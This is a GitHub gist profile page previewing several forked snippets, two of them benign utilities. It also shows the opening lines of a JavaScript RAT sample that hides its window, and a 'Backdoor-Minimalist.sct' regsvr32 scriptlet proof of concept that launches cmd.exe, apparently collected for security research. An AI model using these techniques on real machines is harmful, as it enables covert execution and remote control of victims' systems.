Skip to content

Instantly share code, notes, and snippets.

View the-shelter's full-sized avatar

The Shelter the-shelter

View GitHub Profile
using System;
using System.Runtime.InteropServices;
// ReSharper disable SuspiciousTypeConversion.Global
// ReSharper disable InconsistentNaming
namespace VideoPlayerController
{
/// <summary>
/// Controls audio using the Windows CoreAudio API
/// from: http://stackoverflow.com/questions/14306048/controling-volume-mixer
@the-shelter
the-shelter / JavaScript RAT
Created March 18, 2018 15:59 — forked from JohnLaTwC/JavaScript RAT
JavaScript RAT
## uploaded by @JohnLaTwC
## sample hash: 1d37e2a657ccc595c7a5544df6fd2d35739455f3fdbc2d2700835873130befde
<html>
<head>
<script language="JScript">
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
window.blur();
try
Imports System.IO
Imports System.Runtime.InteropServices
Public Class Form1
'RISPOSTE
' 0: comando eseguito
' 1: errore
' 2: comando non esistente
' 3: risposta di test
'variabili connessione FTP
@the-shelter
the-shelter / whiteboardCleaner.md
Created March 18, 2018 15:46 — forked from kennwhite/whiteboardCleaner.md
Whiteboard Picture Cleaner - Shell one-liner/script to clean up and beautify photos of whiteboards!

Description

This simple script will take a picture of a whiteboard and use parts of the ImageMagick library with sane defaults to clean it up tremendously.

The script is here:

#!/bin/bash
convert "$1" -morphology Convolve DoG:15,100,0 -negate -normalize -blur 0x1 -channel RBG -level 60%,91%,0.1 "$2"

Results

@the-shelter
the-shelter / Backdoor-Minimalist.sct
Created March 18, 2018 15:43 — forked from kennwhite/Backdoor-Minimalist.sct
Execute Remote Scripts Via regsvr32.exe
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");